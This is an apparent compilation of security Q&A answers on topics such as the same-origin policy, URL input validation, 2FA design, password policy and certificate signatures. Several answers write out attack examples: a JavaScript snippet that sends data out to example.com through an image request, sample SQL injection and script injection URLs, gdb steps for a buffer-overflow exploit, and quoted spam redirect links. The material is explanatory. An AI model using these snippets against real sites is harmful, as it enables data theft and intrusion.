A static key is one you use more than once over a long period of time. It is often considered less secure than using an ephemeral key (that changes each time) because:

An eavesdropper gets more material to work with.
If an attacker breaks the key, they can decrypt multiple messages.
It gives the attacker the possibility of arranging a known plaintext attack.

However, static keys are often easier to implement.  And in some cases none of the above matter. And security is a process, not just using the strongest possible algorithm. (Or else we'd all use one-time pads!)

So the answer is "sometimes more, sometimes less, it depends".


Why was the Same-origin policy originally introduced (before XMLHttpRequest)?

Data exfiltration isn't very difficult, because there are various elements which fetch (remote) content.

One example is an image:

var img = document. createElement("img");
img.src = "http://example.com/log?message=" + exfiltrated_data;
var src = document.getElementById("somediv");
src.appendChild(img);

Other avenues would be fetching of CSS/JS files, etc.

Fetching the data is also easy:

var windowx = window.open("http://example.com/stealthis.html");
windowx.onload = function() {
// The SOP prevents this read for different origins:
console.log(windowx.document); // can be exfiltrated via image.
};

But the SOP is not just about confidentiality, but also integrity. The way the exfiltration code would be injected into the target website would already be a problem, because it would allow an attacker to change what a website displays:

var windowx = window.open("http://example.com/modifythis.html");
windowx.onload = function() {
console.log(windowx.document.write('this shouldn\'t be here'));
};

This can then be used to exfiltrate data (see above), show phishing forms, intercept already existing forms to send the entered data to an attacker, defacement, etc.


You don't have much options there, it's only uses WPS for WiFi security. So you have to enable or select push-button WPS.


Are there security risks of letting someone use your VPN server?

They are essentially on your LAN (depending on your local configuration) and can do all kinds of fun things depending on how malicious they are. By just routing their internet through the tunnel and making it look like their victim is the one doing the downloading, someone can use your VPN as an internet connection for piracy, downloading child porn, as a control server for a bot net, or any other type of nefarious deed.


Is there a point in restoring from backups if you don't know where the virus came from?

If you are unable to identify the virus in your backups and you need the data, I would suggest carefully pulling out just the files you need from the backup and install software again on a clean build.

It is still possible the virus could slip through, but if you restore data rather than state, the file still has to be executed in order for the virus to become active again.

You could also try restoring data to a VM and try pulling data out from a safer container that would likely protect your system from re-infection.  It still isn't an exact science if you can't find a virus scanner that can identify the infected files, but it does at least reduce the risk a bit.


Would using a QWERTY keyboard with DVORAK output cause keylogger to log DVORAK?

Ultimately ... It wouldn't matter

at best this key substitution would equiv to a Caesar cipher ... which can be easily broken.

Qwerty

  The quick brown fox jumped over the lazy dog

Dvorak

  Yd. 'gcjt xpr,b urq hgml.e rk.p yd. na;f eri

online translator


Why is it dangerous to allow all characters in a URL?

Limiting the character set in this way (also called whitelisting) is one of the recommended methods of input validation.  The purpose of input validation is to prevent a program from executing on data that may cause unintended problems.

There are many successful attacks that have resulted from malformed URLs (these are not actual attack URLs, but representative of attacks):

filepath injection: http://example.com/?C:\documents\top_secrets.txt
buffer overflow: http://example.com/aaaaaaaaaaaaaaaaaaaaaaaaa...aaaEvilShellCode
script injection: http://example.com/?<script>alert("Click me!")</script>
SQL injection: http://example.com/?USER=' or 1=1; select * from users

Initial reactions to these attacks were to prohibit the backslash character, quote marks, asterisks, and the less-than and greater-than symbols.  This is called blacklisting; unfortunately, blacklisting is mostly a "patch after learning about the attack" approach.  Whitelisting is somewhat more effective than blacklisting.  However, limiting the characters that appear in a URL may do virtually nothing to prevent many of these attacks if they can all be bypassed using percent encoding, which enables the attacker to use only characters from the approved white list:  %2F is the same as a /, etc.

To be effective, the regexp in CodeIgniter needs to be performed after the percent encoding has been decoded.  And in order to prevent buffer overflow problems while simply testing the data with regexp, the first step of the validator has to be length checking.

There's another problem that they might be trying to prevent with their whitelist, and that is URL hijacking using Unicode characters to simulate ASCII characters.  To a human just clicking a link, the strings "exampleZurichBank.com" and "exampleZuricⱨBank.com appear similar.  Blocking Unicode characters that aren't in the [A-Z][a-z] range does help prevent these; it also disenfranchises a large segment of the planet by blocking URLs in their native alphabets.

Keep in mind that input validation is only one preventative measure out of many that still need to be implemented.  Applications still need to defend against other common vulnerabilities, such as XSS, CSRF, SQL injection, session hijacking, etc.


From the Content-Security-Policy standard:

  A server SHOULD NOT send more than one HTTP response header field named "Content-Security-Policy" with a given resource representation.

But, you are using multiple Content-Security-Policy headers. The behavior is not defined for this case. But it looks like that the browsers in this case only use the latest header. This means your first header which specifies a report-uri gets ignored and only the second header use, which does not specify a report-uri.


What are the weaknesses of my authentication scheme?

The UUID of your cellphone isn't a meaningful second factor as it can be spoofed.

On the long passwords, it is reasonably secure to use long, sentence based passwords, but the amount of security provided drops DRASTICALLY if it has anything to do with what you are connecting to.  It may still seem hard to guess, but establishing a relationship rather than pure entropy means that there is a far FAR smaller pool of possible passwords to choose from.  This is bad for password security.  Even if it only reduces it to a few million possibilities, that is still easily brute force-able.


Yes, they can - but not only due to name and DOB. Those alone only constitute personally identifiable information (PII).

However, combined with a unique identifier that can be used to link to health information, the data set could be classified as protected health information (PHI). For example, if the proprietary ID is a primary key that links tables in a database (housing PHI), then the combination is PHI. HIPAA states PHI may be but is not limited to 18 different identifiers, including:

Unique identifying number, characteristic, or code
 - This is considered PHI when the assigned code can potentially be linked to individually identifiable health information

Reference: https://www.unthsc.edu/research/protection-of-human-subjects/hippa-guidelines-and-templates/which-identifiers-are-considered-protected-health-information-phi/

I've found best practice is to eliminate as much health-related information as possible and replace DOB with another unique identifier (e.g. masked phone number or email). A good idea in this case is to use only the name and masked phone (e.g. Joe Doe, '''-'''-1234  but that may depend on the use case.


Security of mapping Local Resources over RDP

I believe that issue is due to auditing. An RDP session is not the same as a local logon session. Since thumb-drive auditing is very specific, I'd wager that it doesn't kickoff an event due to the nature of RDP.

An example of RDP woes (doesn't trigger account attempt lockout):
https://community.spiceworks.com/topic/354021-how-to-limit-rdp-attempts-from-hostiles

If I get more time, I'll try to update with actual facts vs conjecture.


Is it possible to export user account certificates remotely with NTLM hash authentication?

The cert's private keys are protection by DPAPI which uses the user's password as part of the KDF.  That means that NTLM will not work, as the actual password never ends up on the remote host.
https://msdn.microsoft.com/en-us/library/ms995355.aspx?f=255&MSPPError=-2147217396

You can export the certificate, but not the private key.


Norton detects intrusion attempt from virtual machine - how is this possible?

You are assuming that the intrusion is coming from the VM to the hypervisor. A VM "breakout" is when the VM accesses the host directly.
An infected VM that has access to the network can attack the host's network. That's not a "breakout".
But the alert in your image is indicating that it saw traffic to a domain on a watchlist. That's not an intrusion or an attack on the host. Norton is inspecting traffic from the machine, which includes traffic from all VMs, and flagged the suspicous traffic. This is not a surprise, since you stated that the site was infected.
There is nothing in the info you provided to support your claim that there was an intrusion from the VM to the host...


What are other channels Botnets can use for command and control except IRC

There are many alternatives being used by the malware creators. Some of them are:

Flashback Mac Malware used Twitter 1.
Google AppEngine 2.
Facebook 3.

For sure, there must be other channels as well, these are the one that I remember from recent news.

The botnet owners are diversifying from IRC as, Twitter, Facebook, Google AppEngine are services used a lot and the traffic is considered to be legitimate and less suspicious by the network administrators. Though I am not an expert, I hope this gives you some idea.

Edit:

I remember of another one, presented in DefCon 2010 by Dennis Brown. Using Tor network.  Using Tor2web botnet can access a .onion website and take commands from the server. Have a look at the presentation, it is informative. 4


How do companies manage resources shared with 3rd parties on cloud platforms?

When you have a larger organization with a diverse IT infrastructure, then you have to get used to the fact that Identity Management becomes a full-time job. You need someone (or even a whole department) who is responsible for managing user accounts on all the IT resources you have. They (and they alone) are responsible for:

Creating accounts for IT systems
Assigning permissions
Revoking permissions when the functions of people change
Checking regularly if accounts are still actively used and lock them when they are not
Checking regularly for accounts with critical permissions and evaluate if they are still required
Maintaining records of all these activities so you can always tell who had which permissions during which timeframe (critical in case of a data breach)
Slapping people who put company data on cloud services not managed by them

When you want to minimize the work overhead for this, then you might want to consider to centralize and consolidate your IT infrastructure. Instead of distributing your IT infrastructure all over the net, you might want to consider to host more of it yourself. For every product mentioned in the question there is a solution you can install on-premise. This gives you far more control over your company data (have you actually read what you allow Google to do with your company secrets you upload to Google Drive?). It also gives you the ability to centralize the account management in your company. Many products support protocols like Kerberos which allow them to use user accounts from a centralized system. When every employee and business partner has just one account for everything in your company it becomes a lot easier to manage (for you and for them too).

"going through all our files, and determining who needs access and who doesn't" is something you shouldn't have to do. Proper enterprise-scale permission systems should be role-based. You don't get access to /project_x/business_plan_V14.67.docx, you get the "projectx participant" role which gives you access to /project_x/*.


Can I name a file .pl and run it as html on server?

It is possible, however it all depends on how the web server (Nginx, Apache, etc) is set up to serve those files back. For example, it is very much possible to have a web-server that knows nothing about PHP, and therefore if provided a .php file, it will simply return it as plain-text, i.e. the MIME type of text/plain.

If you have full control of the server, you could probably set it up so it serves files with .pl extensions as text/html... but then you're not really exploiting any vulnerability.

You can't "run something as HTML", since HTML is not a programming language, it is a markup language, hence "Hypertext Markup Language". It is a syntax that is then parsed by a web browser to display elements on a web page. You can think of HTML to being similar to Markdown, which is just another syntax that is then used by a Markdown parser (like you see on GitHub).


Your machine will immediately start to disintegrate and you will have 5 seconds to evacuate the building before it explodes!

If you are sure it is plain text the only things that could happen as a result of you replying are:

Someone on the other end knows your email address.
You might now be on some spam lists.
You may now have leaked information if you are a reconnaissance target.

However, if you looked at the email in a web client (like google) and it looks like plain text, don't kid yourself, it could be html, or something else, and it could have something like an embedded image or some other content you didn't realize was there. Clients like Outlook could fool you as well. So be careful. The "text only" email may be more than text only.

My general rule is if I don't know them, or if I don't need to reply (or if I am not curious - in a controlled environment to investigate) why waste my time or risk the issue?!


How do you visit a link without risking your computer?

If you're of a technical nature, you may like Malzilla. Old school folks may appreciate Lynx

Both are text only ways of accessing a web page.  Malzilla provides diagnostics useful per-page, and Lynx is a text based browser.

But I only use them when I'm suspicious of something.  In the meantime I just use Chrome or IE in a virtual machine. I like Oracle's Virtual Box since it allows me to use a 64 bit client OS, where other virtualization solutions don't


Dangerous to open a unix socket within www root?

Well, further analysis with more data may be needed, but, at first sight, it seems that the only problem you may have is a malicious user exploiting the program behind the socket, gains the same privileges as the program and may gain root access depending on the environment.

Apart from this I can't see any other problem. But consider making this exercise:

Has been the software properly tested and audited regarding security topics?
Can your program damage any other process if it gets hacked?
How much access do you concede an user if your program gets hacked?
Is there any critical information in the same user space?
Is there any other way to launch the program who attends the socket less risky? Is it worth?


Does two factor authentication increase the attack surface?

Two factor authentication is a great way to help prevent unauthorized access especially if you use a product that's already been in development and had time to mature. Should you choose to roll your own 2-factor from scratch you expose yourself to many risks thus widening you attack surface. When looking for a provider I would look at something like RSA's SecurID which is a excellent implementation of 2-factor.


Secure Windows 10 Home admin's data behind a password, even when user apps are running

Nothing can be used by a non-admin to reset the admin password without rebooting the system and modifying the disk offline. Doing so requires physical access to the machine (which I'm guessing you must allow) and is usually mitigated with full-volume encryption (FVE). The standard Windows FVE feature, Bitlocker, is not available on Home editions; you can pay MS for a license upgrade if you want to enable it. Alternatively, you can use third-party system encryption tools, such as Veracrypt. Since your machine probably doesn't have a Trusted Platform Module (hardware security chip, not common on home systems), the FVE would need to use a password (or key on a flashdrive), and anybody with the password/key will be able to unlock the disk (and potentially tamper with it, such as resetting passwords or stealing data directly). Note that a really sophisticated attacker might still be able to get past this even if you have a TPM, but I'm guessing that's a level of security you don't need.

If you just want to restrict access to the admin's data, you could also create an encrypted volume (Veracrypt supports this; other software might too) that only you can unlock (requires a password, and the password can't be reset without making the data permanently unrecoverable). You'd need to ensure it's locked whenever it's not in use, though. A better option might be to just store everything sensitive on a flashdrive or other external storage, and take it with you when you go.

Alternatively, Windows has an option for easy-to-use data encryption (Encrypting File System, or EFS), but I think it's not available on Home editions either. Home is really not intended for use in an environment sensitive data that needs protection from hostile local users.


Is CORS ever needed during any aspect of OAuth / OpenIDConnect Authentication?

I'm not sure about OpenID, but for OAuth there is no CORS involved for the actual authentication part, though it may be required on the resource server depending on the type of client that is connecting.

In RFC 6749, which defines the OAuth 2 framework, there are four different methods defined for the application to gain authorization (here, client means the server that wants to access the data, resource owner and end user mean the person who's data it is, who grants access to it, and host means the entity that provides the authorization and API endpoints):

Authorization code, which is used when the client is running a server. This is the most common method.
Implicit, which is used when the application is running inside the user's browser.
Resource owner password credentials, which is where the end user's username and password are used to authenticate with the server directly. There isn't an auth flow for this - the user just has to give the application their password.
Client credentials, which is where the client has automatic access to the resources. There isn't an auth flow for this because it's automatic.

When using the authorization code method, a high level overview for the auth flow is that the client redirects the user to an authorization page on the host. When the end user grants access, they are redirected back to the client's site. On receiving the request, the client's server will make a request to the host to swap the temporary token for a permanent token, which they then use to make API request from their server.

With this method, all requests are made from the client's server to the host server, so there is no need for CORS. The only requests made in the end user's browser are the redirects, which aren't affected by CORS.

When using the implicit method, when the end user is redirected after granting access, the permanent code is retrieved from the URL by a (javascript) script running in the end user's browser on the client's website. This code is then used by javascript scripts running in their browser to access the API.

CORS needs to be used for the actual API endpoints with this method (if the requests would need CORS anyway - there's nothing special about it being authenticated using OAuth, so GET requests don't need CORS but DELETE requests do), because they are being accessed from within the user's browser. However, the authentication flow doesn't need CORS because, again, it is handled using redirects rather than cross-origin requests.


Over which data is the verify data in the DTLS finished handshake message calculated?

I read as if ... a single fragment to mean you format each message as one fragment that contains the whole message, that is, fragoff=0 fraglen=totlen. The BouncyCastle Java implementation (as of 1.55) agrees with this, and I think someone would have noticed if it didn't interoperate:

package org.bouncycastle.crypto.tls;
...
class DTLSReliableHandshake {
...
private Message updateHandshakeMessagesDigest(Message message)
    throws IOException
{
    if (message.getType() != HandshakeType.hello_request)
    {
        byte[] body = message.getBody();
        byte[] buf = new byte[12];
        TlsUtils.writeUint8(message.getType(), buf, 0);
        TlsUtils.writeUint24(body.length, buf, 1);
        TlsUtils.writeUint16(message.getSeq(), buf, 4);
        TlsUtils.writeUint24(0, buf, 6);
        TlsUtils.writeUint24(body.length, buf, 9);
        handshakeHash.update(buf, 0, buf.length);
        handshakeHash.update(body, 0, body.length);
    }
    return message;
}


How are spammers using LinkedIn "http://linkedin.com/slink?code=..." URLs?

So I just stumbled upon this today and got a similar message:

https://www.linkedin.com/slink?code=eiurEkp?61778=myname

First I tried the first part:
https://www.linkedin.com/slink?code=eiurEkp

This ends here: http://281-inteligen.thiscontentedmotion.com/de/ihel/inteligen/
- a scammy article about somebody saying that someone said that this pill will just change the whole world......
But well, it looks like a normal news-paper website and the source-code actually looks semantically clean.

So if linkedin might check the destination's source-code it would be okay in this case and to this point.

But when entering: https://www.linkedin.com/slink?code=eiurEkp?61778 (with the second search-param) - it seems by reading over there obfuscated JavaScripts, that they check for search/hash-params in the URL and redirect properly if found.

And this is probably not being checked by the linkedin-team. I mean how should they? This is hard because it is happening in an obfuscated JS. If they have some automated slink-checker they are scanning the code but likely don't execute the scripts.

Long story short: The slink?code=####### part redirects to a shared link from linkedin and appends any given hash or search parameter to this redirect. On the redirected destination this is then checked and used for a further redirect.


The BitTorrent Sync Android and iOS apps seem to follow the BitTorrent.com privacy policy which states explicitly that they gather data such as total traffic and performance metrics.

  We also aggregate some data from the BitTorrent Client regarding total
  traffic flows and content delivery performance.

I don't see any problem with that; it's completely understandable. This data can be useful to them when further developing the protocol, helps them understand P2P performance in the big picture, and, perhaps, to measure their own value as a service.


Fuzzing versus Symbolic Execution -- what's the difference?

Can someone clarify what the real difference is between the two and
  why or when we should prefer one method over the other?

(Dynamic) symbolic execution is sometimes called whitebox fuzzing, see, e.g., SAGE. Fuzzing can be grouped into categories:

Blackbox fuzzing: doesn't require any information about the system under test (SUT). There are two strategies to generate input: generate from a grammar/model, or mutate from existing ones.
Whitebox fuzzing: require all the information about the SUT, including APIs, environment etc. It needs to know which instruction is executed, so that it can replace the semantics of the instruction with the symbolic semantics.
Greybox fuzzing: require to know a little information about the SUT, i.e. basic block transition. Currently it is the most successful, see, e.g., this trophy case.

  Can someone clarify what the real difference is between the two and
  why or when we should prefer one method over the other?

Let consider a program with an input x, having the following condition: if (x > 5 && x < 10) abort();
Suppose x is an integer, i.e. its domain is 232. The probability to randomly generate an input x that triggers the error is 4/232. This probability is a bit higher in clever greybox fuzzing, but in general they suck for this kind of condition.

On the other hand, whitebox fuzzing executes the program with a symbol x = X, and use a constraint solver, e.g. Z3, to solve the constraint. Z3 can solve X > 5 ∧ X < 10 in mili or nano second.

However, there is no free lunch, this power comes with an expensive price.

A recent paper shows that for just one path, i.e. no constraint solving, an execution in KLEE is 3000 times slower than native execution, while angr is 300,000 times slower. Since it is very slow, it is unrealistic to achieve 100% coverage.
Constraint solver is only good for linear arithmetic. There is no efficient solver for the theory of string, floating point arithmetic etc
It is unrealistic to know all information about APIs, environment etc.

The current state-of-the-art is hybrid fuzzing, combining both greybox and whitebox. The idea is to use greybox fuzzer as global search to quickly sample the state space. When it gets stuck, then use the heavyweight whitebox as local search. This is the technique used by all the team in the Cyber Grand Challenge. The hybrid fuzzer QSym , running on a modest machine, discovered some CVE that Google couldn't find with greybox fuzzers running on the cloud.


XSS vulnerabilities: how dangerous are they?

Cross-site scripting vulnerabilities are extremely dangerous, because they allow the attacker to control the victim's browser to some extend.

This can be used for all kinds of malicious actions:

stealing sensitive cookies or reading personal pages (the user account, private messages etc.)
making requests on the victim's behalf (e. g., ordering products via the victim's account and sending them to an arbitrary address)
exploting the trust of the victim in the site; for example, an attacker might render a fake login form and prompt the user to enter the password. Or they might trick the user into downloading a malicious file which looks like it's served by the site.
attacking the server through a privileged account

So while XSS may look less dangerous than, say, SQL injections at first site, it's actually a major threat for both your users and your server.


2FA why not to ask the code before password

TL;DR Security is hard and making even small changes to the way security protocols work can open up unexpected attacks. While it may seem at first glance like putting the 2FA before the password helps to protect the password, it actually opens up much worse attacks. Let's have a look!

The problem we're trying to solve

According to your question, the problem you're trying to solve is password brute-forcing. This is a bit of a red herring because people crack passwords against stolen or leaked databased of password hashes, people don't brute-force against live servers because things like rate-limiting already do a pretty good job of solving this problem. That said, let's take a look at different types of 2FA and what would happen if the 2FA went before the password.

Code generation Apps

aka Time-based One-Time Password algorithm (TOTP), for example, the Google Authenticator:

I agree with you that I can't, off the top of my head, think of a reason why putting this first would weaken the authentication protocol.

Notification Apps

Some 2FAs are designed to pop up a notification on the phone rather than hiving you type a code, for example the Blizzard Authenticator:

Doing what you suggest of putting this before the password would actually be dangerous because it leads to a denial-of-service attack: the attacker hammers a user's account so that there are near-constant notifications on their phone, either preventing them from being able to use their phone, and / or forcing them to disable the 2FA in order to make the notifications stop (and weakening their account).

SMS Codes

aka sending a One-Time-Password to your phone by SMS.

This has the same problem as Notification Apps in that it leads to an obvious denial of service attack, but it's worse because in some places, phone carriers charge for incoming SMSes, so the attacker can force the user to pay huge cell phone bills.

Summary

Of the three types of 2FA apps I mentioned, your proposal is neutral for one, and detrimental for the other two.

Also, putting the 2FA step first would advertize to attackers which user have enabled 2FA, and which have not. Basically telling them who the easy targets are.

Finally, the notification and SMS based 2FAs server another valuable purpose: an alarm to tell you when your password has been cracked. If I get a 2FA notification that I did not expect, it's time to change my password.

I like that you are thinking outside the box and challenging the way things are. Security is hard, but don't be discouraged from asking more questions, this one was fun to answer.


Requiring regular password change but storing previous passwords?

The bank keeps your previous passwords (or hashes thereof) to force you to change your password, but it does not mean that they would accept an old password as valid authentication. The important point is: the bank wants to protect access, but it has no interest in protecting your older passwords per se. For the bank, the old password is no longer sensitive data, since it does not grant access to the bank.

Well, actually, old passwords are somewhat sensitive because users are users, and thus they:

reuse passwords for other sites;
"generate" successive passwords with "witty" procedures, as opposed to what they should do, i.e. random procedures. If an attacker learns that your two previous passwords are "sleepy" and "sneezy", he may try "grumpy" and "happy" as potential passwords).

So a bank which keeps traces of old passwords around should protect them adequately, i.e. as if they were still active passwords (hence store only hashes, with a slow hash and a lot of salt). But that's indirect. By itself, learning an old password does not give any special power to the attacker, at least from the point of view of the bank.

Forcing password changes on users is, at best, a procedure of dubious value. It may enhance security only if we assume that the previous password was indeed stolen at some point. In other words, it has security benefits only if a constant, non-null amount of fraudulent accesses is occurring and the server has learned to tolerate it, and just wants to keep it low. This is not very reassuring, for a bank. In all other cases, forcing a password update just antagonizes users, and that's never a good thing. See this previous question for more opinions on the subject.

Most places where passwords must be changed regularly do so mostly because it is technically possible, and out of respect for a fuzzy tradition which is never uttered with clarity. At my work place, passwords must be changed every 42 days, must be distinct from the last 24 passwords, and, last but not least, when I change my password I am not allowed to change it again for the next three days (I have never understood what reasoning may have gone through the mind of the people who established such a rule; I find no benefit for it in any situation, even far-fetched; it is just irksome, and I must assume it was meant to keep me angry).

But, if the bank nevertheless wishes to force password updates, then keeping around old password hashes makes sense: it does not weaken the security of the bank's site and it is the only way to enforce a policy of distinct passwords.


Concatenating secure and reused passwords

This new password would be used as master password for my password manager

I am against this. The thing about using passwords that are similar or have a part to play in other password would be considered a bad idea.
Which in your case would be, having phrases from other passwords to make up the master password. The moment any on your passwords are compromised, it places your master password at a higher risk than it should be. Password Cracking techniques have exponentially gotten better, faster & smarter.
Depending on the type of attack, any newly added information would contribute in the time taken to crack your passwords, let's not contribute to that.


Server authentication during the SSL handshake

My first question here is that what comprises of the Digital signature
  of the server.Does it use the values in CSR; take a hash and encrypt
  them to generate digital signature or this process of digital
  signature is individual to the CA.

Part of the X.509 standard (standard format for public key certificates) is that certificate signature algorithm can be specified by the signing party. Wikipedia for instance has a cert where SHA(-256) with RSA was used to sign the cert (this method is very common):

SHA with RSA basically works the way you expected it. It takes the contents of the cert, throws them through a hash function (SHA) and then signs them via the RSA private key. Written out, if C is the cert, then the signature S is computed as S = (padding || SHA(C) ^ d mod N where padding is a secure padding scheme for RSA, the private RSA key is d and the public RSA key is (N, e).

  Moving on, on lets say during the SSL handshake this certificate is
  presented to the client. Now in order to verify this certificate one
  of the step would be to make sure that issuing CA’s public key
  validate the issuer’s digital signature. How is this step performed?

Using the above case as an example, say I have a signature S for a cert C. Recall that (N, e) is the public key of the CA. The way I would verify the signature is to calculate V = S ^ e mod N (with the padding stripped). In other words I verify the signature with the CAs public key. I would then check if V = SHA(C). If this is the case then the signature is valid. For further details see also How does RSA signature verification work?.


Finding environment variables with gdb, to exploit a buffer overflow

environ is a pointer to pointer, as it has the type char **environ.

You have to try something like:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "SHELL=/bin/bash"


What are techniques for end users to select keys on a smartcard?

Theoretically, on a Windows system, the Certificate Propagation Service automatically extracts all the certificates from any smart card which is inserted, and copies them into the "My" store of the current user. Each such certificate is registered with a link back to the corresponding private key, which is in the smart card. When the smart card is to be used, the application actually looks for a matching certificate, potentially prompting the user for the choice of certificate; once the certificate is selected, the application then tries to reach the private key, at which point (and only at that point) the smart card driver is invoked (internally, the application talks to the "Microsoft Base Smart Card CSP" which itself talks to the card-specific "minidriver").

The main idea is that applications don't see "smart cards"; they use private keys which they locate by their certificate. Whether a given private key is in a smart card or not, or whether two keys are from the same smart card, is kept in the OS internals. Application can fiddle directly with smart cards (using winscard.dll), but most do not (e.g. Internet Explorer, when dealing with a SSL server which requests client certificates, only looks at certificates and does not care about smartcardness).

Things vary on other operating systems, or with some applications. Firefox, for instance, uses only PKCS#11, a generic API for "cryptographic devices", and completely disregards the OS support when it is run on Windows. Then, what happens entirely depends on how Firefox decides to manage smart cards. The main principle is still active, though: user choices are centred on certificates.


I'm a FIPS tester and confirm that indeed overall level 1 means it is validated at FIPS 140-2 level 1. Different sections can be tested and validated at different levels (1-4) however the overall level defaults to the section validated at the lowest level.


security concerns when configuring Windows 10 to automatically log into a Microsoft account-linked user account

The main implication is what you said, an attacker with physical access has full access to everything on the PC and your Microsoft account.

For security-relevant operation on your Microsoft account, MS still asks for the password, so the most important operations (like changing password or email) can not be done via auto-login alone.

If do you have a password set and autologin enabled I see just one issue in a normal private household environment where targetted attacks are highly unlikely.

If there is a break in and someone steals the machine, they also have access to it.

How much this risk means to you, only you can decide.


Other than the cost, are there any downsides to HTTPS?

Yes, HTTPS traffic cannot be cached by third party proxies. If your content is highly cacheable (very likely if your site is mostly static content) and you have lots of users that have slower internet connection (e.g. most people in developing countries rely solely on slow, congested mobile network), caching proxies set up by their ISPs or mobile providers or corporate/university network cannot return a locally cached result. Instead they all have to go all the way to hit your server even when the same content has been requested thousands of times around the neighborhood.

This can be mitigated a little if these users install their ISPs proxy certificate, which allows the ISP to essentially do an MITM with the user's permission, but this will significantly compromise the security of sites that actually do need the security of HTTPS.


I've had this working on my home router for a few months with no issues. DD-WRT is configured as an openVPN client to a PrivateInternetAccess account so that all PCs are forced to use it for Internet traffic. Then I tunnel each PC using openVPN to a different service. Performance definitely takes a hit but it's still quite usable and there are no routing problems.


Can storing a secret in the client be considered "good enough" security?

The key to such questions is to have a threat model.  In a threat model, you capture what capabilities your threat has and what they want to do.  You can then balance it against your costs.

It sounds like you've gone down that path correctly.  You've identified that the attacker may be willing to disassemble the code to get a shared secret.  You've identified the cost is $4 or the possibility that you have to spend a little work erasing a user account on your server.  The balance is up to you.

Consider that, in the case of console game DRM, embedding the secret is all they can do.  They have gotten pretty clever about it.  A famous case was Spiro the Dragon which had many elements of DRM in it.  Some were easy to spot and cracked immediately.  Others were more subtle.  Some would just set a flag somewhere that would get checked 3 levels later.  If the flag was set, the map would have no eggs (an essential item for advancing to the next level).

Spiro was eventually fully cracked.  When they finally did so, the crackers actually thanked the dev team for giving them such an interesting challenge.  The DRM was considered a complete success.  Why?  It took more than 2 months for the crackers to finally get all of the cracks in place.  For console games, most purchases of the game occur in the first 2 months, so the piracy community failed to negatively impact sales during that key period.


John the Ripper - Can't get cracked MD5 hash to show

As you can see in the docs http://www.openwall.com/john/doc/, John (and almost any good hash cracker) will store the cracked hashes in some sort of file/db.

This is for performance, this programs will check for already cracked hashes preventing them to spend cpu/gpu time.

In the case of John, is located at: $JOHN/john.pot ($JOHN path depends on the install)

You can view the previously cracked hashes in the terminal with the command: john --show passwd

This behavior is almost standard.


How do security experts benefit from reverse-engineering?

What do you do in most reverse engineering challenges in CTF's

(if you're not just pulling out passwords with strings)

You analyze the logic of the program in it's normal behavior.
Analyze which computations are done on our input
Find out where 'bad boy' and 'good boy' are located
Find a way to make our input lead to our 'good boy'

What do you do when looking for security bugs?

(in a fuzzing approach)

You analyze the logic of the program in it's normal behavior
Analyze which computations are done on our input
You analyze the logic of the program when given unexpected input
Analyze the behavior and see if we can exploit the new behavior

This is just one example

Actually, just reversing the program to see which function calls it makes can be enough to find a security bug, if you see a call to the unsafe strcpy for example, you know it's worth having a look at from a security perspective.

On top of that, reversing is done to understand program logic, if you want to break a program's logic and take advantage of that ( or protect the program ), you have to know exactly how it works.

Edit after your comment:
As for how a hacker can actually use this to breach a security system;
The strcpy example above implies a buffer overflow is present, this is basically the Hello World of exploit writing.

If you want an advanced guide on what that is and how it works, you could read these articles on the corelan blog which describe how buffer overflows work and how they can be exploited.

While reading those, you'll realize an exploit writer's language is really the same as a reverse engineer's language. Which is why it is helpful to train your RE skills to become a better Exploit writer.

Malware analysis

I almost dared to leave this answer here without noting Malware Analysis.
Malware writers are becoming quite spectacular when it comes to hiding malicious activities from AV.

It's very important for AV Vendors to have people who can reverse engineer the extreme puzzles they sometimes set up in order to protect machines worldwide from sophisticated malware attacks.


How should large organisations manage credentials?

First, root access to a machine does not require to be shared. The number of human beings that need to be administrators should be small before the number of users that the machine can accept. Said differently, each administrator of a machine should have personal credentials for that machine, that should allow him/her to require administrative priviledges. That is the only way to be able to know who is responsable for what in case of trouble. And that comes out of the box for Unix-Linux systems as well as Microsoft ones.

In the opposite it is no harm in having the same credentials allow access to a group of machines. Single Sign On systems can be found everywhere, from the good old Kerberos to Microsoft Active Directory or LDAP. What matters is that the group of machines must be identified. Even inside a datacenter, it is common for administators to share same credentials for all machines of one security zone.

That does not mean that companies pretending to be serious never do security horrors like installing the credentials for a bunch of machines (mainly machines belonging to their clients) in some relay host. Nor does that mean that credentials for the company facebook account is not written on a paperboard in the communication service office, but those are definitely poor security practices.


How secure is my private key in the Windows Digital Certificate store?

Basic rules:

Code with "admin privileges" can do everything it wishes with your machine. You cannot protect against it. At best, the malicious code will have to wait for the next time you type your password, at which point it will plunder your private key (and all your secrets).
The same "admin exploit" will modify your icon overlays so as to hide any modification it wishes to perform.
It is useless for a program to verify its own signature. A malicious executable put in place of yours will claim that everything is fine regardless of signature invalidity.

There is some effort put by Windows into more protection for private key storage; this is called DPAPI. It amounts to about nothing against active attackers with Administrator privileges. DPAPI will add some resistance to attackers in another context: laptop thieves. When your laptop is stolen, you don't have it anymore, so you will not type your password again. Since secrets in DPAPI are ultimately encrypted with a key derived from your password, the attacker will have to crack your password, which can take some time (depending on how well you choose it).

To avoid tampering with your files, there are several strategies:

Boot your machine off read-only media (e.g. a DVD, or an USB key which has an external "read-only" switch).
Apply all published security fixes for your OS (this, of course, is at odds with read-only media).
Don't run software of dubious provenance. Ideally, don't browse the Web at large except a few select sites from your machine. If you must access the Web, apply isolation: run a virtual machine with the browser in it, isolating it from the rest of the system. That way, if the attackers enter your system through careless browsing, the attacker will take control of the VM, not of your main system. The Qubes OS is an operating system which uses this principle (albeit with Linux, not with Windows).


What should a security audit report include?

There's a couple of ways that I've seen this done, each has it's pros and cons.

As noted by @RoryAlsop below a common point for both approaches is that the executive summary should, as much as possible, be written for a business audience (assuming that it's a test you're doing for a 3rd party or the report will be passed to management).

Reporting by finding.  Here you list the findings, usually ranked by severity (e.g. CVSS score or some other scale like severity/likelihood).  You then list out the technical details of the finding and potential mitigations if you have that information.  This kind of report gets to the point quite quickly and plays well with tool output.
Reporting by methodology.  Assuming here that you're following a defined testing methodology, the report is structured along the lines of the methodology and includes a section for each area of the review.  The sections detail what testing was done and the outcome (e.g. either a finding or the fact that there was no finding in this section).  The advantage here is that you're showing your workings and that someone reading the report can get a good idea that you've actually tested something and it was ok rather than you just having missed it out.  The downside is that it tends to be a longer report and harder to automate.  One other gotcha is that you need to make sure that the testers don't just follow the methodology and they actually engage brain to look for other things.

In terms of format for the findings, I usually include the following

Title (descriptive gets used in the table and linked to the detail)
